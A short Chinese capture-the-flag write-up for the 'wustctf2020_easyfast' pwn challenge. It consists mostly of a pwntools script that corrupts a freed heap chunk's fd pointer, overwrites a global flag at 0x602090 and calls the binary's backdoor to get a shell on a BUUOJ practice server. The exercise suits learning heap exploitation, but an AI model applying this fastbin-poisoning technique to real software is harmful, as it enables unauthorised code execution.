打开菜单,了解到相应的功能后,改一下名字
这个漏洞大致利用方式是这样的;
利用思路
通过double free修改chunk0的fd指针,让申请到的chunk能够覆盖到0x602090,修改1为0,最后直接调用backdoor来getshell
from pwn import *
#p=process('./wustctf2020_easyfast')
p=remote("node3.buuoj.cn",25044)
context.log_level="debug"
def add(size):
p.recvuntil('choice>')
p.sendline('1')
p.recvuntil('size>')
p.sendline(str(size))
def delete(index):
p.recvuntil('choice>')
p.sendline('2')
p.recvuntil('index>')
p.sendline(str(index))
def edit(idx,content):
p.sendlineafter('choice>','3')
p.sendlineafter('index>',str(idx))
p.send(content)
def backdoor():
p.sendlineafter('choice>','4')
add(0x40)#0
add(0x40)#1
delete(0)
edit(0,p64(0x602080))
add(0x40)#0
add(0x40)#3
edit(3,p64(0))
backdoor()
#gdb.attach(p)
p.interactive()